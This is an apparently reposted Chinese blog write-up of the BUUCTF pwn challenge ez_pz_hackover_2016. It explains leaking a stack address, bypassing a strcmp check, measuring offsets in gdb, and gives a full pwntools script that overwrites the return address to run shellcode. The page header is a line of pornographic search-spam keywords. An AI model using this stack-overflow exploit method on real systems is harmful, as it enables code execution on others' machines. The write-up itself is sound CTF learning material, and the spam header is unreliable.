日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

發布時間:2025/3/20 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

32位,開啟了RELRO保護,堆棧地址隨機化

沒有開啟nx保護,可利用寫入shellcode來獲取shell



一開始給我們輸出了參數s的地址

strcmp函數:

兩個字符串自左向右逐個字符相比(按ASCII值大小相比較),直到出現不同的字符或遇’\0’為止

也就是我們應該輸入 ‘crashme\x00’ 可以繞過這個if檢查,之后執行vuln函數

dest大小根本不是0x32,要動態調試看大小其實是 0x16

利用思路:

1.往s參數里寫入shellcode,執行vuln函數后讓dest造成溢出

2.將返回地址修改為shellcode的地址去執行

調試過程

1.找我們寫入的shellcode在棧上的地址位置

在ida里找一個nop指令來下斷點,我這邊是利用0x8048600這個地址的nop

from pwn import * p=process('./ez_pz_hackover_2016') context.log_level='debug'gdb.attach(p,'b *0x8048600')#利用gdb動調,在0x8048600處下了個斷點p.recvuntil('crash: ') stack=int(p.recv(10),16)#接收回顯的參數s在棧上的地址,長度是10,以16進制表示 print hex(stack)payload='crashme\x00'+'aaaaaa'#前面的crashme\x00繞過if判斷#后面的aaaa是測試數據,隨便輸入的,我們等等去棧上找它的地址#利用它找到返回地址在棧上的地址,將返回地址覆蓋為shellcode p.sendline(payload)pause()#linxu下的暫停程序命令

按c執行下一步

輸入stack30查看棧


ebp的位置是0x38,我們輸入參數的位置是0x22.

看到了我們輸入的數據,‘ashme’,由于對齊的原因,沒有跟 ‘cr’ 連在一起,我們看它上一行0x63就是 ‘c’ ,0x72是 ‘r’
,由于小端序的原因,所以是這樣的

我們看左邊是0x20,但其實是0x22 ------- 0x7263f7f1 是從63開始讀入數據的 即 23 22 21 20

ebp距離我們的輸入點的距離是0x38-0x22=0x16;

shellcode應該寫在ebp之后(32位程序的ebp占4個字節),就是在0x16+0x4處

在覆蓋完ebp后的返回地址應該填寫指向shellcode的地址

payload=‘crashme\x00’+‘a’*(0x16+0x4-8)+p32(addr)

-8是 ‘crashme\x00’ 占用了8字節,+4是用來覆蓋ebp的

2.找到指向shellcode的地址

雖然地址會隨機化但是偏移量不會變

開始得到了一個chall函數s棧上的地址0xffe1d35c

它在參數s棧上的相對位置是0x20

返回地址在參數s棧上的相對位置是0x3c(ebp+4)

輸入點距離我們的返回地址的距離是0x3c-0x20=0x1c

用0xffe1d35c-0x1c來表示返回地址

from pwn import *r=remote('node3.buuoj.cn',26843) #p=process('./ez_pz_hackover_2016') context.log_level='debug'#gdb.attach(p,'b *0x8048600')r.recvuntil('crash: ') stack=int(r.recv(10),16) shellcode=asm(shellcraft.sh())#利用pwntools自動生成shellcode #print hex(stack)payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode r.sendline(payload)#pause()r.interactive()

總結

以上是生活随笔為你收集整理的Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。